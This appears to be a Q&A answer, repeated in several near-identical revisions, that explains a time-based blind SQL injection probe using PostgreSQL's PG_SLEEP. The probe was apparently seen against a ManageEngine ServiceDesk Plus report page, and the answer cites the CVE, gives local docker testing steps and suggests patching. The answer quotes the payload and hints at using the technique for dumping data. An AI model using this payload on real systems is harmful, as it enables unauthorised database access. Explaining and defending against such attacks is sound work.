Return to Answer

Attack type

0 AND 3133=(SELECT 3133 FROM PG_SLEEP(1))

is a method of blind sql injection. Blind sqli applies time to determine the content of the database, mostly using if conditions (cf eg SQL Injection Cheat Sheet - Conditional Time Delays). So if you are interested in using this technique for dumping explore it for postgreSQL.

3133 is a fixed value and PG_SLEEP(1) delays the execution at the database for 1 second. So basically this sums up to 0 AND true with a waiting time of 1 second. You can use this to check if this type of sqli is feasible.

Basically the referenced exploit is a proof-of-concept to show that sql injection is possible.

It is also listed as CVE.

How does it work?

I don't know what CreateReportTable.jsp does exactly. I only found this documentation. The documentation mentions:

To use Advanced Filtering, select the column name such as, Requester name, region site and so on from the combo box.

which probably belongs to a filtering of sites/branches you can define for your company. So this could be an entry point to check where the issue is in your application. Analyse the query parameter site.

If you want a deeper understanding what SELECT 3133 FROM PG_SLEEP(1) does you can verify it using docker:

sudo docker run -it --rm --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -e POSTGRES_USER=user -e POSTGRES_DB=db -d postgres:latest 

sudo docker exec -ti <your_docker_container_id> psql "dbname=db user=user password=mysecretpassword"

\dt gives you an overview about what the function pg_sleep does. The function has a return data type of void - which is basically an empty value. Enter select * from pg_sleep(1) to double check that. This will bring you back after one second and outputs no value. At first the function is applied and then the select is executed. The empty return value then can be overwritten by choosing a constant:

select 1 from pg_sleep(1);

Mitigation possibilities and impact

The CVE states

SQL injection vulnerability in reports/CreateReportTable.jsp in ZOHO ManageEngine ServiceDesk Plus (SDP) before 9.0 build 9031 allows remote authenticated users to execute arbitrary SQL commands via the site parameter.

So probably it is fixed with an update to a higher version.

The other thing is that you have to consider a possible breach depending if and how long your site has been exposed.

Attack type

0 AND 3133=(SELECT 3133 FROM PG_SLEEP(1))

is a method of blind sql injection. Blind sqli applies time to determine the content of the database, mostly using if conditions (cf eg SQL Injection Cheat Sheet - Conditional Time Delays). So if you are interested in using this technique for dumping explore it for postgreSQL.

3133 is a fixed value and PG_SLEEP(1) delays the execution at the database for 1 second. So basically this sums up to 0 AND true with a waiting time of 1 second. You can use this to check if this type of sqli is feasible.

Basically the referenced exploit is a proof-of-concept to show that sql injection is possible.

It is also listed as CVE.

How does it work?

I don't know what CreateReportTable.jsp does exactly. I only found this documentation. The documentation mentions:

To use Advanced Filtering, select the column name such as, Requester name, region site and so on from the combo box.

which probably belongs to a filtering of sites/branches you can define for your company. So this could be an entry point to check where the issue is in your application. Analyse the query parameter site.

If you want a deeper understanding what SELECT 3133 FROM PG_SLEEP(1) does you can verify it using docker:

sudo docker run -it --rm --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -e POSTGRES_USER=user -e POSTGRES_DB=db -d postgres:latest 

sudo docker exec -ti <your_docker_container_id> psql "dbname=db user=user password=mysecretpassword"

psql is the interactive terminal for postgres. In this terminal \dt gives you an overview about what the function pg_sleep does. The function has a return data type of void - which is basically an empty value. Enter select * from pg_sleep(1) to double check that. This will bring you back after one second and outputs no value. At first the function is applied and then the select is executed. The empty return value then can be overwritten by choosing a constant:

select 1 from pg_sleep(1);

Mitigation possibilities and impact

The CVE states

SQL injection vulnerability in reports/CreateReportTable.jsp in ZOHO ManageEngine ServiceDesk Plus (SDP) before 9.0 build 9031 allows remote authenticated users to execute arbitrary SQL commands via the site parameter.

So probably it is fixed with an update to a higher version.

The other thing is that you have to consider a possible breach depending if and how long your site has been exposed.

Attack type

0 AND 3133=(SELECT 3133 FROM PG_SLEEP(1))

is a method of blind sql injection. Blind SQLi applies time to determine the content of the database, mostly using if conditions (cf eg SQL Injection Cheat Sheet - Conditional Time Delays). So if you are interested in using this technique for dumping explore it for postgreSQL.

3133 is a fixed value and PG_SLEEP(1) delays the execution at the database for 1 second. So basically this sums up to 0 AND true with a waiting time of 1 second. You can use this to check if this type of sqli is feasible.

Basically the referenced exploit is a proof-of-concept to show that sql injection is possible.

It is also listed as CVE.

How does it work?

I don't know what CreateReportTable.jsp does exactly. I only found this documentation. The documentation mentions:

To use Advanced Filtering, select the column name such as, Requester name, region site and so on from the combo box.

which probably belongs to a filtering of sites/branches you can define for your company. So this could be an entry point to check where the issue is in your application. Analyse the query parameter site.

If you want a deeper understanding what SELECT 3133 FROM PG_SLEEP(1) does you can verify it using docker:

sudo docker run -it --rm --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -e POSTGRES_USER=user -e POSTGRES_DB=db -d postgres:latest 

sudo docker exec -ti <your_docker_container_id> psql "dbname=db user=user password=mysecretpassword"

and here enter:

SELECT 1 FROM PG_SLEEP(1);

This will bring you back after one second.

Mitigation possibilities and impact

I couldn't find if you can just fix it with an update but this is mostly what solves the problem concerning a patched software.

The other thing is that you have to consider a possible breach depending if and how long your site has been exposed.

Attack type

0 AND 3133=(SELECT 3133 FROM PG_SLEEP(1))

is a method of blind sql injection. Blind sqli applies time to determine the content of the database, mostly using if conditions (cf eg SQL Injection Cheat Sheet - Conditional Time Delays). So if you are interested in using this technique for dumping explore it for postgreSQL.

3133 is a fixed value and PG_SLEEP(1) delays the execution at the database for 1 second. So basically this sums up to 0 AND true with a waiting time of 1 second. You can use this to check if this type of sqli is feasible.

Basically the referenced exploit is a proof-of-concept to show that sql injection is possible.

It is also listed as CVE.

How does it work?

I don't know what CreateReportTable.jsp does exactly. I only found this documentation. The documentation mentions:

To use Advanced Filtering, select the column name such as, Requester name, region site and so on from the combo box.

which probably belongs to a filtering of sites/branches you can define for your company. So this could be an entry point to check where the issue is in your application. Analyse the query parameter site.

If you want a deeper understanding what SELECT 3133 FROM PG_SLEEP(1) does you can verify it using docker:

sudo docker run -it --rm --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -e POSTGRES_USER=user -e POSTGRES_DB=db -d postgres:latest 

sudo docker exec -ti <your_docker_container_id> psql "dbname=db user=user password=mysecretpassword"

\dt gives you an overview about what the function pg_sleep does. The function has a return data type of void - which is basically an empty value. Enter select * from pg_sleep(1) to double check that. This will bring you back after one second and outputs no value. At first the function is applied and then the select is executed. The empty return value then can be overwritten by choosing a constant:

select 1 from pg_sleep(1);

Mitigation possibilities and impact

The CVE states

SQL injection vulnerability in reports/CreateReportTable.jsp in ZOHO ManageEngine ServiceDesk Plus (SDP) before 9.0 build 9031 allows remote authenticated users to execute arbitrary SQL commands via the site parameter.

So probably it is fixed with an update to a higher version.

The other thing is that you have to consider a possible breach depending if and how long your site has been exposed.

Attack type

0 AND 3133=(SELECT 3133 FROM PG_SLEEP(1))

is a method of blind sql injection. Blind SQLi applies time to determine the content of the database, mostly using if conditions (cf eg SQL Injection Cheat Sheet - Conditional Time Delays). So if you are interested in using this technique for dumping explore it for postgreSQL.

3133 is a fixed value and PG_SLEEP(1) delays the execution at the database for 1 second. So basically this sums up to 0 AND true with a waiting time of 1 second. You can use this to check if this type of sqli is feasible.

Basically the referenced exploit is a proof-of-concept to show that sql injection is possible. It is also listed as CVE.

How does it work?

I don't know what CreateReportTable.jsp does exactly. I only found this documentation. The documentation mentions:

To use Advanced Filtering, select the column name such as, Requester name, region site and so on from the combo box.

which probably belongs to a filtering of sites/branches you can define for your company. So this could be an entry point to check where the issue is in your application.

If you want a deeper understanding what SELECT 3133 FROM PG_SLEEP(1) does you can verify it using docker:

sudo docker run -it --rm --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -e POSTGRES_USER=user -e POSTGRES_DB=db -d postgres:latest 

sudo docker exec -ti <your_docker_container_id> psql "dbname=db user=user password=mysecretpassword"

and here enter:

SELECT 1 FROM PG_SLEEP(1);

This will bring you back after one second.

Mitigation possibilities and impact

I couldn't find if you can just fix it with an update but this is mostly what solves the problem concerning a patched software.

The other thing is that you have to consider a possible breach depending if and how long your site has been exposed.

Attack type

0 AND 3133=(SELECT 3133 FROM PG_SLEEP(1))

is a method of blind sql injection. Blind SQLi applies time to determine the content of the database, mostly using if conditions (cf eg SQL Injection Cheat Sheet - Conditional Time Delays). So if you are interested in using this technique for dumping explore it for postgreSQL.

3133 is a fixed value and PG_SLEEP(1) delays the execution at the database for 1 second. So basically this sums up to 0 AND true with a waiting time of 1 second. You can use this to check if this type of sqli is feasible.

Basically the referenced exploit is a proof-of-concept to show that sql injection is possible. 

It is also listed as CVE.

How does it work?

I don't know what CreateReportTable.jsp does exactly. I only found this documentation. The documentation mentions:

To use Advanced Filtering, select the column name such as, Requester name, region site and so on from the combo box.

which probably belongs to a filtering of sites/branches you can define for your company. So this could be an entry point to check where the issue is in your application. Analyse the query parameter site.

If you want a deeper understanding what SELECT 3133 FROM PG_SLEEP(1) does you can verify it using docker:

sudo docker run -it --rm --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -e POSTGRES_USER=user -e POSTGRES_DB=db -d postgres:latest 

sudo docker exec -ti <your_docker_container_id> psql "dbname=db user=user password=mysecretpassword"

and here enter:

SELECT 1 FROM PG_SLEEP(1);

This will bring you back after one second.

Mitigation possibilities and impact

I couldn't find if you can just fix it with an update but this is mostly what solves the problem concerning a patched software.

The other thing is that you have to consider a possible breach depending if and how long your site has been exposed.